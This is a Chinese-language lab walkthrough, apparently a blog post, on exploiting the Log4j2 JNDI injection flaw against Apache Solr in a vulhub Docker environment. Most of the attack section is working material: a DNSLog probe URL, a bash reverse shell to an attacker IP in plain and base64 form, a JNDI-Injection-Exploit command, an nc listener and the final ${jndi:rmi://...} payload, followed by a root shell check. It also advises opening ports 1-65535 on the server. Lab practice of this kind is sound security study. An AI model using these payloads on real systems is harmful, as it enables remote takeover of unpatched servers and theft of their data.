vulhub/log4j2漏洞靶场----反弹shell
一、log4j2漏洞介绍
log4j2 是Apache的⼀个java⽇志框架,我们借助它进⾏⽇志相关操作管理,然⽽在2021年末
log4j2爆出了远程代码执⾏漏洞,属于严重等级的漏洞。
apache log4j通过定义每⼀条⽇志信息的级别能够更加细致地控制⽇志⽣成地过程,受影响地版
本中纯在JNDI注⼊漏洞,导致⽇志在记录⽤户输⼊地数据时,触发了注⼊漏洞。
二、JNDI注入介绍
JNDI,中⽂名叫java命名和⽬录接⼝,它为我们提供了命名和⽬录服务,具体就不多讲了。主要是JNDI其中有⼀个lookup()⽅法,这是⼀个查找⽅法,上⾯代码执⾏结果也正是因为log4j2在获取到 ${}这样的格式的时候会⾃动的去调⽤lookup()⽅法。⽽这个⽅法的可怕之处就在于,它可以远程加载对象,⽐如我们传⼀个像如下,但是这样的参数进去,它就可以远程访问到我们(⿊客)本地的类,那如果这些类⾥⾯有恶意代码的话造成的危害显然是⾮常严重的。
lookup("rmi://127.0.0.1/test") lookup("ldap://127.0.0.1/test")
三、log4j2漏洞靶场
1. 启动docker容器,开启靶场环境
输入命令:
开启docker服务,systemctl start docker
开启靶场环境,docker-compose up -d
如果don't find command,请安装docker和docker-compose
安装命令:
centos7 : yum install docker yum install docker-compose
kali : apt install docker apt install docker-compose
安装完成后, 开启服务和靶场环境
注意:如果docker服务已开启,但启动靶场环境时超时,阿里云的云服务可以使用“镜像容器服务---镜像加速功能”加速靶场的环境开启,出现done即开启成功。
使用docker ps 可查看当前docker开启的服务及端口。
2025/3/17 紧急补充:
云服务器,宝塔面板Docker管理中,都有一个加速URL,可用于加速docker靶场的搭建。
特别是对于腾讯云无镜像加速问题,可以有效解决。
注:毫秒镜像毫秒镜像提供经过审核的docker镜像加速下载服务,采用国内CDN分发方案保障镜像的高速下载。
https://docker.1ms.run
2. 访问靶场,使用dnslog平台获取一个域名
通过 http://靶场ip:端口 访问靶场
NDSLOG地址:DNSLog Platform
NDSLOG获取随机域名:4zvaw4.dnslog.cn
3. 通过上一步的dnslog,查看注入效果
可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏我们传上去的payload然后在DNSLOG 平台上那⾥留下记录。
靶场ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vhh0fs.dnslog.cn}![]()
4. 反弹Shell
#JDNI项目地址:GitHub
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
下载好,解压。将解压得到得jar文件上传到靶场环境
4.1 反弹shell准备,base64加密
确保监听的端口开放
如果不想全开,可以将需要的端口打开。当然建议还是全部打开,避免换端口时,来回设置。
准备:bash -i >& /dev/tcp/攻击者ip/6689 0>&1
base64加密:YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjIyOC4yNy82Njg5IDA+JjE=
4.2 生成恶意代码类及其url
通过上传的JNDI-Injection-Exploit,使用java环境运行上述命令,生成恶意代码类,以及其对应的url。如果没有java环境,可以yum云下载安装:yum install java
攻击者输入命令生成恶意代码类: 【-A 攻击者的ip,即获取到shell的对象】
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjIyOC4yNy82Njg5IDA+JjE=}|{base64,-d}|{bash, -i}" -A "1.15.228.27"
4.3 nc开启反弹shell端口的监听
新建一个终端窗口,输入:nc -lvvp 6689
对反弹shell6689端口进行监听
若无nc,请安装nc : yum install nc
4.4 选择使用的恶意代码类的url, 生成payload,让靶场访问它,⽹⻚被重定向到了我们的恶意类⽹址
JDK1.8有rmi和ldap两个服务:选择rmi的 【如果JDK版本为1.7, 再使用 对应的恶意类】
此例使用 rmi://1.15.228.27:1099/9yk7xl 生成最终payload的url:
/solr/admin/cores?action=${jndi:rmi://1.15.228.27:1099/9yk7xl}
让靶场访问,模仿受害者点击链接。注意:先开启监听,再访问。
4.5 在另一个终端监听,看看shell是否返回,使用whoami 命令查看权限
当获取的shell是root权限即可。
Server Log会记录访问的过程,而新窗口监听端口的终端获得shell。
收到shell时,下图框中会显示。
如果显示,输入whoami系统命令,即可看到shell的用户是谁。
温馨提示:
1. docker容器,开启vulhub-master靶场环境,注意端口冲突问题。使用命令“vim ”
2. 云服务器,有的有镜像加速,有的没有。本例中使用的靶场,需要镜像加速才可以打开,阿里云服务器就可以使用。不行的话,借用他人靶场环境进行练习。我就是借用的。
---特别补充:在开端处,添加了无镜像加速,Docker管理自带加速URL,可有效解决这类问题。
3. 借用靶场环境,注意构建反弹shell时IP为攻击者的ip,端口由攻击者定,但需要保证服务器该端口开启,建议将所有端口打开【安全---添加端口规则---1-65535】。
过程仅供参考,练习结束。。。
希望对各位读者有所帮助。
---------- 2025/3/15 17:20